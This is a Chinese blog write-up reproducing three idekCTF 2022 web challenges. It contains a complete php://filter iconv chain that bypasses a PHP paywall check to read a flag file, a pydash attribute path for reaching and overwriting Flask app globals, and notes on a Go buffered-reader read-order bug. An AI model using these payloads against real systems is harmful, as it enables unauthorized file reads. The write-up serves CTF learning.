idekctf复现

最新推荐文章于 2024-04-23 20:38:52 发布
最新推荐文章于 2024-04-23 20:38:52 发布
阅读量255 收藏
点赞数
分类专栏： 比赛复现 文章标签： web安全 python
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/your_friends/article/details/128746428
版权

第一题（忘记叫啥了）

环境docker有问题，没有办法进行第二步操作所以就跟着wp直接看代码复现一下吧

首先访问/just-read-it进入justReadIt

我们只要运行到程序的最后就可以拿到flag

func justReadIt(w http.ResponseWriter, r *http.Request) {  
        defer r.Body.Close()  
  
        body, err := ioutil.ReadAll(r.Body)  
        if err != nil {  
                w.WriteHeader(500)  
                w.Write([]byte("bad request\n"))  
                return  
        }  
  
        reqData := ReadOrderReq{}  
        if err := json.Unmarshal(body, &reqData); err != nil {  
                w.WriteHeader(500)  
                w.Write([]byte("invalid body\n"))  
                return  
        }  
  
        if len(reqData.Orders) > MaxOrders {  
                w.WriteHeader(500)  
                w.Write([]byte("whoa there, max 10 orders!\n"))  
                return  
        }  
  
        reader := bytes.NewReader(randomData)  
        validator := NewValidator()  
  
        ctx := context.Background()  
        for _, o := range reqData.Orders {  
                if err := validator.CheckReadOrder(o); err != nil {  
                        w.WriteHeader(500)  
                        w.Write([]byte(fmt.Sprintf("error: %v\n", err)))  
                        return  
                }  
  
                ctx = WithValidatorCtx(ctx, reader, int(o))  
                _, err := validator.Read(ctx)  
                if err != nil {  
                        w.WriteHeader(500)  
                        w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))  
                        return  
                }  
        }  
  
        if err := validator.Validate(ctx); err != nil {  
                w.WriteHeader(500)  
                w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))  
                return  
        }  
  
        w.WriteHeader(200)  
        w.Write([]byte(os.Getenv("FLAG")))  
}

先接收来自post传入的json数据解析保存到reqData中
在下面可以发现接收来自“Orders”的int数据

type ReadOrderReq struct {  
        Orders []int `json:"orders"`  
}

后面初始化了一个reader

func initRandomData() {

    rand.Seed(1337)

    randomData = make([]byte, 24576)

    if _, err := rand.Read(randomData); err != nil {

        panic(err)

    }

    copy(randomData[12625:], password[:])

}

可以看到randomData是由initRandomData初始化的
在最后发现password复制在了12625之后

    for _, o := range reqData.Orders {

        if err := validator.CheckReadOrder(o); err != nil {

            w.WriteHeader(500)

            w.Write([]byte(fmt.Sprintf("error: %v\n", err)))

            return

        }

  

        ctx = WithValidatorCtx(ctx, reader, int(o))

        _, err := validator.Read(ctx)

        if err != nil {

            w.WriteHeader(500)

            w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))

            return

        }

    }

在这里对reqFata.Orders进行遍历，调用了validator.CheckReadOrder对orders中的数据进行检查

func (v *Validator) CheckReadOrder(o int) error {

    if o <= 0 || o > 100 {

        return fmt.Errorf("invalid order %v", o)

    }

    return nil

}

检查里面的int数值是否在0~100之间,之后用validator.Read对里面的数据

    if err := validator.Validate(ctx); err != nil {

        w.WriteHeader(500)

        w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))

        return

    }

  

    w.WriteHeader(200)

    w.Write([]byte(os.Getenv("FLAG")))

最后调用validator.Validate

func (v *Validator) Validate(ctx context.Context) error {

    r, _ := GetValidatorCtxData(ctx)

    buf, err := v.Read(WithValidatorCtx(ctx, r, 32))

    if err != nil {

        return err

    }

    if bytes.Compare(buf, password[:]) != 0 {

        return errors.New("invalid password")

    }

    return nil

}

读取32位，之后跟password进行比较，成功就能拿到flag
而之前的password复制在了12625之后，并且orders数组最多容量10个数字
每个取最大100一共10个也就是1000，距离12625还有很大

func (v *Validator) Read(ctx context.Context) ([]byte, error) {  
        r, s := GetValidatorCtxData(ctx)  
        buf := make([]byte, s)  
        _, err := r.Read(buf)  
        if err != nil {  
                return nil, fmt.Errorf("read error: %v", err)  
        }  
        return buf, nil  
}
%%调用到了GetValidatorCtxData函数%%
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {

    reader := ctx.Value(reqValReaderKey).(io.Reader)

    size := ctx.Value(reqValSizeKey).(int)

    if size >= 100 {

        reader = bufio.NewReader(reader)

    }

    return reader, size

}

可以发现如果size是100的话那么就会调用一次bufio.NewReader

func NewReader(rd io.Reader) *Reader {  
        return NewReaderSize(rd, defaultBufSize)  
}

进行一次defaultBufSize覆盖，而他的大小是4096，也就是我们一个100就是4096，我们只需要让我们剩余输入的10个数加起来等于12625即可

simple-file-server

用tar解压的，搭建起来拉取镜像有问题，总是时间超时，但是上网可以找到公开镜像，后续会进行搭建

Paywall

<?php if (isset($_GET['source'])) highlight_file(__FILE__) && die() ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="assets/style.css">
    <title>The idek Times</title>
</head>
<body>
<main>
    <nav>
        <h1>The idek Times</h1>
    </nav>
    <?php

  

        error_reporting(0);

        set_include_path('articles/');

  

        if (isset($_GET['p'])) {

            $article_content = file_get_contents($_GET['p'], 1);

  

            if (strpos($article_content, 'PREMIUM') === 0) {

                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions

            }

            else if (strpos($article_content, 'FREE') === 0) {

                echo "<article>$article_content</article>";

                die();

            }

            else {

                die('nothing here');

            }

        }

    ?>

  

    <a href="/?p=flag">

        <article>

            <h2>All about flags</h2>

            <p>Click to view</p>

        </article>

    </a>

    <a href="/?p=hello-world">

        <article>

            <h2>My first post!</h2>

            <p>Click to view</p>

        </article>

    </a>

  

    <a href="/?source" id="source">Source</a>

</main>

  

</body>

</html>

阅读index.php源码可以发现，在主页中有两个可以点击的标志，我们点进去发现下面的
Hello World是以FREE开头的并且可以打开看到，而上面的flag点击获得提示
Thank you for your interest in The idek Times, but this article is only for premium users!
查看一下代码中的检测逻辑

    <?php
        error_reporting(0);
        set_include_path('articles/');
        if (isset($_GET['p'])) {
            $article_content = file_get_contents($_GET['p'], 1);
            if (strpos($article_content, 'PREMIUM') === 0) {
                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
            }
            else if (strpos($article_content, 'FREE') === 0) {
                echo "<article>$article_content</article>";
                die();
            }
            else {
                die('nothing here');
            }
        }
    ?>

接收一个get参数P并且读入文件，如果文件开头是FREE就可以读取到如果文件开头是PREMIUM那么就结束程序并且die
所以如果我们希望读取到flag中的内容就必须让file_get_contents读取到的文件中的内容开头变为FREE。
我们知道file_get_contents是接收php的协议流的而且有些协议流是可以更改读取到的内容的，比如fiilter流的string.rot13、base64等，所以我们需要找到一套协议链来构造出以FREE开头并且读取到文件内容的协议流
这里提供一个自动化生成的php协议流生成脚本，他提供了有生成开头字母。
php_filter_chain

python3 php_filter_chain.py --chain 'FREE'

![[Pasted image 20230116163147.png]]

可以看到我们读取到了里面的内容但是里面出现了乱码，我们看看生成的协议链可以看到最后的链子是进行了一次base64的解码，也就是说它在最后base64解码的时候出现了偏差，而我们知道base64解码的时候会对每4位进行检查，所以说我们需要`FREE`后面填充垃圾字符串让base64成功解析出flag文件中的内容
我们只需要一个一个添加即可

最后发现添加两个空格即可拿到flag

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag

![[Pasted image 20230116163450.png]]

task manager

需要慢慢复现，这题的量有点大，先简单梳理了一下逻辑
在这里可以看到
可以看到是通过 os.path.pardir 来对目录穿越进行了保护，但是我们可以通过修改 pardir 的值来绕过。
在 taskmanager.py 里面调用 pydash.set_() 可以通过实例化的 TaskManager 对象利用特殊属性实现对 app 对象的修改：

pydash.set_(  
    TaskManager(),  
    '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',  
    'xxx'  
)

所以我们可以覆盖掉path
在题目提供的dockerfile中可以看到flag是写入了dockerfile中的
直接LFI读取题目的dockerfile就可以拿到flag
![[Pasted image 20230121144849.png]]

Yan9.
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
idekctf2022部分web
v2ish1yan的博客
01-26 1110
我爱idekctf！！！！有dockerfile真是太棒了因为实在不会前端，所以暂时只复现非xss的题目题目附件我都放在了。
[PHP]无需可控文件的LFI-RCE学习
feng的博客
01-05 2372
[PHP]无需可控文件的LFI-RCE学习 前言 昨天晚上P神的代码审计圈子里面提到了一个LFI的方法，题目来源是前段时间的HXPCTF中的题目includer's revenge。国外的一个师傅通过fuzz的方法通过iconv成功的将任意一个文件里的内容转换为一句话木马的方式，基本上可以说，PHP的LFI可能就到此为止了。 今天参考陆队的文章：https://tttang.com/archive/1395/，来学习一下思路和攻击方式。确实不得不说，nb。 这篇文章就只是大概记录一下学习的思路了，水一点因为
DAY23：命令执行&代码执行漏洞
qq_49433473的博客
08-04 939
命令执行漏洞、代码执行漏洞，Log4j2复现，PHPMailer远程命令执行漏洞复现 函数学习，绕过方式，Bypass技巧
web 文件包含
十一.的博客
09-18 372
【代码】ctf命令获取flag。
HTB打靶日记：Encoding
m0_73998094的博客
01-30 1346
HTB打靶日记：Encoding
论文复现-深度补全算法
03-10
1、传统深度不全算法复现 2、详细内容可见：https://blog.csdn.net/qq_43627520/article/details/123344654?spm=1001.2014.3001.5502 3、复现代码可直接运行、包含有测试用例、以及验证代码
numpy复现xgboost算法内含数据集
10-16
本主题将深入探讨如何使用基础的NumPy库来复现XGBoost算法的核心概念，这对于理解其工作原理和进行性能优化非常有帮助。 XGBoost全称为“Extreme Gradient Boosting”，它是在梯度提升框架下实现的一种集成学习方法...
漏洞复现是什么.txt
01-31
漏洞复现
numpy复现lightGBM算法内含数据集
10-16
本压缩包文件"numpy复现lightGBM算法内含数据集"旨在通过Python的numpy库来复现LightGBM的核心功能，帮助理解其工作原理并提供实践操作的机会。 首先，LightGBM的主要特点包括： 1. **叶子权重排序**：传统的GBDT...
simple-file-server：通过HTTP尽可能简单地传输和浏览文件。 支持的Windows，Linux，Mac OS ...（支持QRCode输出）
02-05
简单文件服务器 通过HTTP尽可能简单地传输和浏览文件。 支持Windows，Linux，Mac OS ...（支持QRCode输出，手机更简单地获取文件） 通过HTTP方式，简单的文件传输（下载）和浏览工具。目前支持Windows，Linux，Mac等操作系统。（支持输出二维码，方便手机直接扫码获取文件） 预习 快速启动 Linux $ wget http://down.dxscx.com/simple-file-server_current_linux_amd64.tar.gz $ tar -xzvf -xvsimple-file-server_current_linux_amd64.
探索 PHP Filter Chain Generator: 构建高效过滤器逻辑的新工具
gitblog_00076的博客
04-16 449
探索 PHP Filter Chain Generator: 构建高效过滤器逻辑的新工具 项目地址:https://gitcode.com/synacktiv/php_filter_chain_generator 在软件开发中，构建复杂的数据过滤和处理流程是常见的任务。PHP Filter Chain Generator 是一个创新的开源项目，它致力于简化这个过程，让你能够快速、灵活地生成符合业务...
filterchain加string.strip_tags随意构造字符串
qq_63523232的博客
04-19 1521
strip_tags+filterchain构造任意字符
【hackmyvm】 Quick2靶机
woshicainiao666的博客
04-23 491
发现文件包含漏洞（但不能访问日志文件），有用的用户名（不知道密码），返回页面，看看还有什么，没有注意到的点这里有一个联系方式，试试ssh连接，不行，然后我又使用hydra爆破了，没有成功不行，发现不了其他的漏洞，只能使用工具扫描。
[idekCTF 2022]Paywall - LFI+伪协议+filter_chain
oZuoShen123的博客
10-09 494
1、file_get_contents会读取文件内容，这道题目，实际上要读的文件名是flag 2、利用p传参，并且内容必须以FREE开头，strpos函数作用是获取目标字符串位置，如果FREE在开头，则pos是0。 3、又因为要以FREE开头，所以普通伪协议没法写，比如php://filter/read=convert.base64-encode/resource=FREE/flag？ 　　为了将FREE隐藏于无形中还要让他生效，我们应该采用filter_chain的方式去绕过
NSSCTF Round#8 web专项赛
qq_61768489的博客
02-13 1064
文件包含
1月全球CTF比赛时间汇总来了！
网络安全
01-06 5897
●从事网络安全行业工作，怎么能不参加一次CTF比赛了！小编作为一个CTF比赛老鸟，以每次都能做出签到题为荣！下面给大家分享一下1月份CTF比赛时间，比赛按时间先后排序，国内国外的都有哦！临近新年，国内比赛比较少。文章末尾有ctf部落群国内CTF比赛汇总西湖论剑·2022中国杭州网络安全技能大赛12月13日，在“首届全球数字贸易博览会·数字安全主题论坛”上，浙江省公安厅一级警务专员石小忠、浙江省委网...
理解PHP中的Generator
weixin_34256074的博客
03-21 187
我最开始知道Generator的存在是在nodejs中，不久前TJ写了一篇名为告别Nodejs的文章，尽管是告别了nodejs，但他表示还会继续维护co和koa这两个框架，而这两个框架都是基于Generator的，javascript中的Generator是ES6中引入的新特性。后来我看到一篇关于在PHP中使用协程实现协作式（非抢占式）多任务调度系统的文章，才发现原来PHP中...
php://filter的各种过滤器
qq_44657899的博客
10-27 8619
文章目录0x01 String Filters 0x01 String Filters 1，string.rot13 string.rot13对字符串执行 ROT13 转换，ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母，同时忽略非字母表中的字符。 2，string.toupper string.toupper 将字符串转化为大写 3，string.tolower string.toupper 将字符串转化为小写 4，string.strip_tags string.strip_t
RXDNFuse复现
最新发布
05-01
复现RXDNFuse技术需要具备一定的技术知识和实践经验。简单来说，复现RXDNFuse的过程包括以下几个步骤： 1. 寻找可注入的Windows系统进程； 2. 制作恶意DLL文件； 3. 利用工具或手动将恶意DLL注入到系统进程中； 4. ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值